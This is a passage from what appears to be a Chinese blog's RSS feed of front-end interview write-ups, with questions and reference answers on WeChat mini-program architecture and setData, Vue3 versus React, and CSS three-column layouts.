&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;form&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newFormObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果 form 很大，每次都会整体传输。&lt;/p&gt;
&lt;p&gt;正确方式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;form.username&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用路径更新，最小化数据传输。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="2-合并多次-setdata"&gt;2. 合并多次 setData&lt;/h3&gt;
&lt;p&gt;多次调用：&lt;/p&gt;</description></item><item><title>小红书-社招-1年 · 第 2 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-155/</link><pubDate>Sun, 01 Feb 2026 14:40:35 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-155/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/round-154/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-93/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了项目经验和技术选型，包括Vue3+TS的选择理由、UI框架的优势、TypeScript的应用、组件化方案、Canvas离屏渲染、Service Worker等内容。&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-5e97f1f58c95"&gt;1. 讲一下你觉的最有成就感的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;实际问题, 创新性, 用户价值, 项目背景, 技术选型, 实现过程, 最终效果, 亮点, 贡献&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;最有成就感的项目通常是那些能够解决实际问题、具有创新性并且对用户有显著价值的项目。在回答这个问题时，可以从项目的背景、目标、技术选型、实现过程以及最终效果等方面进行详细描述。重点突出项目的亮点和自己在其中的贡献。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-46188abebbf3"&gt;2. 项目为什么选择Vue3+TS而非React&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Vue3 + TypeScript 的选择通常基于团队技术栈一致性、Composition API 带来的逻辑复用能力、与 TypeScript 的良好类型推导，以及在中后台场景中更成熟的生态和更低的工程复杂度，从而提升整体开发效率与可维护性。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在技术选型阶段通常会综合考虑团队技术栈、项目复杂度以及开发效率等因素。对于以中后台系统或业务管理平台为主的项目，Vue3 在整体开发体验和约束能力上往往更容易形成统一规范。&lt;/p&gt;
&lt;p&gt;首先是框架设计层面的差异。Vue3 通过 Composition API 将逻辑拆分为可组合的函数单元，在复杂业务场景下可以很好地解决 Options API 中逻辑分散的问题，同时又保留了模板语法，使得结构、逻辑、样式之间的职责划分更加清晰。对于需要长期维护的业务项目，这种组织方式通常更容易理解和维护。&lt;/p&gt;
&lt;p&gt;其次是 TypeScript 的结合程度。Vue3 在框架层面对 TypeScript 做了较深的适配，例如 &lt;code&gt;defineComponent&lt;/code&gt;、&lt;code&gt;setup&lt;/code&gt;、&lt;code&gt;ref&lt;/code&gt;、&lt;code&gt;reactive&lt;/code&gt; 等 API 都有较完整的类型推导能力，配合 &lt;code&gt;&amp;amp;lt;script setup&amp;amp;gt;&lt;/code&gt; 可以获得较好的类型提示和开发体验。在大型项目中，类型系统能够帮助提前暴露接口契约问题，提高代码的可维护性。&lt;/p&gt;
&lt;p&gt;另外在生态与工程效率方面，Vue3 在国内中后台领域的组件生态较成熟，例如组件库、低代码平台以及相关工具链都比较完善，能够快速搭建业务系统。对于团队成员技术背景主要偏 Vue 的情况下，可以降低学习成本和沟通成本，提高整体开发效率。&lt;/p&gt;
&lt;p&gt;从工程复杂度角度看，React 在灵活性上更强，但很多能力需要通过生态组合实现，例如状态管理、表单方案等，需要额外制定规范。Vue3 本身提供了较完整的开发范式，在团队规模较大的情况下更容易形成统一的代码风格。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6d85386cc446"&gt;3. NutUI在营销活动中相比其他UI框架有什么优势&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;移动端, 轻量, 高性能, 易于使用, 组件库, 用户体验, 开发效率, 按需加载, 应用体积&lt;/p&gt;</description></item><item><title>字节-技术中台-校招 · 第 2 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-122/</link><pubDate>Tue, 02 Sep 2025 07:35:12 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-122/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/round-121/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-76/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察小程序、前端基础及算法等方面的知识。&lt;/p&gt;
&lt;p&gt;本轮共 17 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1b4035e44b36"&gt;1. 讲一下你的小程序项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;这是一个典型的主观型问题，没有唯一的标准答案。面试官主要考察候选人的项目经验、技术选型能力、问题解决能力以及对小程序生态的整体理解。&lt;/li&gt;
&lt;li&gt;答题时建议围绕项目背景、个人职责、技术挑战与解决方案、项目成果与思考等方面展开，体现出系统性和条理性。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在我的某某项目中，我主要负责开发一个基于微信小程序的某某功能模块，比如一个校园服务小程序，其中我负责了课程表、成绩查询以及校园活动发布的功能。&lt;/p&gt;
&lt;p&gt;项目启动之初，我们对需求进行了详细的分析。我选择了小程序作为技术栈，主要是考虑到其轻量级、无需下载安装的特性，能够快速触达用户，并且微信生态提供了丰富的API支持，例如微信支付、地理位置等，非常适合我们校园服务的场景。在技术选型上，我们使用了原生小程序开发模式，结合了小程序自定义组件的能力，将课程表、活动列表等通用UI和逻辑封装成可复用组件，大大提高了开发效率和代码的可维护性。&lt;/p&gt;
&lt;p&gt;在开发过程中，我遇到了一些挑战。例如，课程表数据的展示，由于涉及到大量的时间和格子计算，以及复杂的状态管理，我采用了组件化的方式来解耦视图和逻辑。为了避免频繁调用&lt;code&gt;setData&lt;/code&gt;导致性能问题，我仔细规划了数据结构，并通过局部更新和事件代理的方式，将数据更新的粒度控制到最小，确保了界面的流畅性。此外，在处理校园活动图片上传和展示时，也遇到了图片内存飙升的问题，我通过启用&lt;code&gt;lazy-load&lt;/code&gt;属性，并对图片进行后端压缩和CDN分发，有效解决了内存占用过高的问题，提升了用户体验。在保证安全性的前提下，对于用户敏感信息，我们严格遵循小程序的加密存储和传输规范。&lt;/p&gt;
&lt;p&gt;项目上线后，用户反馈良好，尤其是加载速度快、操作流畅得到了肯定。通过这个项目，我不仅深化了对小程序双线程架构、生命周期、组件化等核心概念的理解，也锻炼了我在实际项目中解决复杂性能问题的能力。同时，也让我认识到在项目开发中，前期的技术选型、架构设计以及对潜在性能瓶颈的预判都是至关重要的。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-56a4db8d2890"&gt;2. 小程序的架构组成&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宿主环境&lt;/strong&gt;: 了解小程序运行的载体，如微信、支付宝等App提供的运行环境。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双线程模型&lt;/strong&gt;: 掌握小程序的逻辑层和视图层分离，通过异步通信机制进行数据交换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件系统&lt;/strong&gt;: 熟悉小程序内置组件和自定义组件的构成。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据层&lt;/strong&gt;: 理解小程序数据管理和更新机制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;小程序生命周期&lt;/strong&gt;: 熟悉小程序应用和页面的生命周期函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;1.1 原理说明&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;宿主环境&lt;/strong&gt;: 小程序运行在一个特定的宿主环境中，这个环境由微信、支付宝等App提供。它为小程序提供了运行所需的API、渲染能力、文件系统等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双线程模型&lt;/strong&gt;: 小程序采用双线程模型，即逻辑层和视图层分别运行在不同的线程中。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑层&lt;/strong&gt;: 运行在JSCore（或V8引擎）中，负责处理业务逻辑、数据请求、数据处理等，使用JavaScript编写。它不直接操作DOM。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;视图层&lt;/strong&gt;: 负责渲染页面，使用WebView（或独立的渲染引擎）渲染WXML和WXSS。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通信机制&lt;/strong&gt;: 逻辑层和视图层之间通过Native层进行异步通信。视图层将用户操作（如点击、输入）传递给逻辑层，逻辑层处理后将数据变化通知视图层进行更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件系统&lt;/strong&gt;: 小程序提供了一套丰富的基础组件，如&lt;code&gt;view&lt;/code&gt;、&lt;code&gt;text&lt;/code&gt;、&lt;code&gt;image&lt;/code&gt;等，开发者也可以基于这些基础组件创建自定义组件，实现模块化开发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据层&lt;/strong&gt;: 小程序的数据管理主要通过&lt;code&gt;Page.prototype.data&lt;/code&gt;和&lt;code&gt;this.setData&lt;/code&gt;进行。数据变化后，通过双线程通信机制同步到视图层，触发视图更新。
1.2 核心用法 + 示例代码&lt;/li&gt;
&lt;li&gt;在小程序中，开发者主要通过&lt;code&gt;JavaScript&lt;/code&gt;编写逻辑层代码，&lt;code&gt;WXML&lt;/code&gt;构建页面结构，&lt;code&gt;WXSS&lt;/code&gt;定义页面样式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;app.js&lt;/code&gt; 定义小程序的全局逻辑，&lt;code&gt;app.json&lt;/code&gt; 进行全局配置，&lt;code&gt;app.wxss&lt;/code&gt; 定义全局样式。&lt;/li&gt;
&lt;li&gt;每个页面由 &lt;code&gt;.js&lt;/code&gt;（逻辑）、&lt;code&gt;.json&lt;/code&gt;（配置）、&lt;code&gt;.wxml&lt;/code&gt;（结构）、&lt;code&gt;.wxss&lt;/code&gt;（样式）组成。&lt;/li&gt;
&lt;li&gt;示例：页面数据更新&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// page.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Page&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello Mini Program!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;onLoad&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Data Updated!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;这种架构分离了业务逻辑和页面渲染，提高了性能和安全性，也方便平台对小程序进行管控。
1.3 常见误区或面试陷阱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误区&lt;/strong&gt;: 认为小程序是基于浏览器内核直接运行的H5页面。实际上，小程序运行在独立的宿主环境，有其特定的渲染机制和API。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误区&lt;/strong&gt;: 将双线程通信理解为同步通信。实际上是异步通信，需要注意数据同步的时序问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;陷阱&lt;/strong&gt;: 不清楚小程序无法直接操作DOM的原因，本质上是为了安全和性能考量，避免开发者直接对渲染层进行复杂操作，影响性能和用户体验。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-563164fe9a90"&gt;3. 小程序和 H5 在开发和使用上有哪些主要的区别和优势？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行环境&lt;/strong&gt;: 区分小程序和H5的运行载体和能力限制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开发模式&lt;/strong&gt;: 掌握两种技术栈的开发流程和工具链。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;/strong&gt;: 对比加载速度、运行流畅度等方面的差异。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能和权限&lt;/strong&gt;: 了解各自能调用的系统能力和接口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户体验&lt;/strong&gt;: 分析用户感知到的流畅性、便捷性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分发和推广&lt;/strong&gt;: 比较获取用户、传播的难易程度。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;1.1 原理说明&lt;/p&gt;</description></item><item><title>字节跳动-商业化-校招 · 第 2 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-120/</link><pubDate>Tue, 02 Sep 2025 07:31:02 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-120/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/round-119/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-75/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察前端基础（CSS布局、JavaScript原型链）、React框架深入理解（虚拟DOM、性能优化）、设计模式应用以及算法能力。&lt;/p&gt;
&lt;p&gt;本轮共 13 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-2866e3cd23be"&gt;1. 实现一个三栏布局，左右两侧固定宽度，中间区域自适应&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;面试官出这道题主要想确认哪些知识维度？
&lt;ul&gt;
&lt;li&gt;考生对CSS布局（如Flexbox, Grid, 浮动, 定位, 表格布局等）的掌握程度。&lt;/li&gt;
&lt;li&gt;考生如何处理不同元素之间的空间分配和自适应能力。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;该题所考知识点中有哪些高频实际应用点？
&lt;ul&gt;
&lt;li&gt;页面整体布局，如经典后台管理系统布局（侧边栏固定，内容区自适应）。&lt;/li&gt;
&lt;li&gt;组件内部布局，如卡片、列表项中固定图标/按钮，内容区域自适应。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;1.1 原理说明&lt;/strong&gt;
三栏布局是一种常见的网页布局方式，其核心在于实现左右两边固定宽度，中间内容区域根据可用空间自适应。这要求布局方案能够灵活处理流体宽度和固定宽度元素的共存，并且能够正确处理元素之间的堆叠和清除浮动等问题。不同的CSS布局技术提供了不同的实现原理和特性，选择合适的方案取决于兼容性要求、布局复杂度和维护成本。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2 核心用法 + 示例代码&lt;/strong&gt;
以下是几种实现三栏布局的常见方法，并说明其原理和适用场景：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2.1 Flexbox 布局&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; Flexbox (弹性盒子) 是一种一维布局模式，它在父容器中管理子项的分布和对齐。通过设置主轴和交叉轴，可以非常灵活地控制子元素的排列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用场景：&lt;/strong&gt; 现代浏览器环境下的首选布局方式，适用于需要灵活对齐、空间分配的场景。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例代码：&lt;/strong&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container-flex&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;&amp;gt;Left&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;center&amp;#34;&lt;/span&gt;&amp;gt;Center&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;right&amp;#34;&lt;/span&gt;&amp;gt;Right&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container-flex&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 开启Flex布局 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;left&lt;/span&gt;&lt;span style="color:#f92672"&gt;,&lt;/span&gt; .&lt;span style="color:#a6e22e"&gt;right&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 左右固定宽度 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex-shrink&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 防止收缩 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;center&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex-grow&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#75715e"&gt;/* 中间区域自适应，占据剩余空间 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势：&lt;/strong&gt; 代码简洁，语义化好，对齐和分配空间非常方便。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1.2.2 Grid 布局&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>京东-物流-秋招 · 第 2 轮 · 第二轮</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-85/</link><pubDate>Sun, 27 Jul 2025 15:48:27 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-85/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-84/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;面试时间：&lt;/strong&gt; 60分钟&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-327d97d7d172"&gt;1. 前端和后端有什么区别？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;职责分工不同，前端关注用户体验，后端关注业务逻辑，但需要密切协作完成产品开发。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;前端和后端在职责、技术栈、关注点等方面都有明显区别。前端主要负责用户界面和交互体验，使用HTML、CSS、JavaScript等技术，关注的是如何让用户更好地使用产品。后端则负责业务逻辑处理、数据存储、系统架构等，使用Java、Python、Node.js等语言，关注的是系统的稳定性、安全性和性能。&lt;/p&gt;
&lt;p&gt;工作内容上，前端需要将设计稿转化为可交互的页面，处理用户输入、数据展示、页面跳转等；后端需要设计数据库结构、编写API接口、处理业务逻辑、确保数据安全等。思维方式也不同，前端更多从用户角度思考问题，注重体验和视觉效果；后端更多从系统角度思考，注重逻辑严谨性和数据一致性。&lt;/p&gt;
&lt;p&gt;但两者并不是完全独立的，现代Web开发中前后端需要密切协作，通过API接口进行数据交互，共同完成产品功能。随着技术发展，界限也在模糊，比如Node.js让前端开发者也能做后端开发。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a769eef3130d"&gt;2. 如果现在有一个需要前后端协作的功能开发需求，你认为前端和后端在沟通和配合上最重要的是什么？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;API接口设计一致性、数据格式规范、清晰的沟通方式、完善的联调流程是协作的关键。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;最重要的是在项目开始前就API接口的设计达成一致。这包括接口的URL设计、请求方法、参数格式、返回数据结构、错误处理方式等。清晰的接口文档能够避免后续很多沟通成本和返工问题。&lt;/p&gt;
&lt;p&gt;其次是建立统一的数据格式规范。比如时间格式、状态码定义、分页参数等，这些看似细节的问题如果不提前约定，会在开发过程中产生很多摩擦。还要约定好错误处理机制，什么情况下返回什么状态码，错误信息的格式等。&lt;/p&gt;
&lt;p&gt;沟通方式也很重要。建议使用统一的协作工具，如Postman分享API文档，或者使用Swagger等工具生成接口文档。定期的技术评审会议也必不可少，确保双方对需求理解一致。&lt;/p&gt;
&lt;p&gt;最后是要建立联调测试的流程。前端可以先用Mock数据开发，后端接口完成后再进行联调，这样能够并行开发，提高效率。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8ece703ad1f7"&gt;3. 项目是怎么接到的？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;通过课程项目、实验室项目、实习项目和个人项目等多种渠道积累开发经验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;主要通过几个渠道获得项目经验。首先是课程项目，在Web开发、软件工程等课程中，老师会布置一些实际的开发任务，比如开发一个在线学习平台、图书管理系统等。这些项目虽然规模不大，但涵盖了完整的开发流程。&lt;/p&gt;
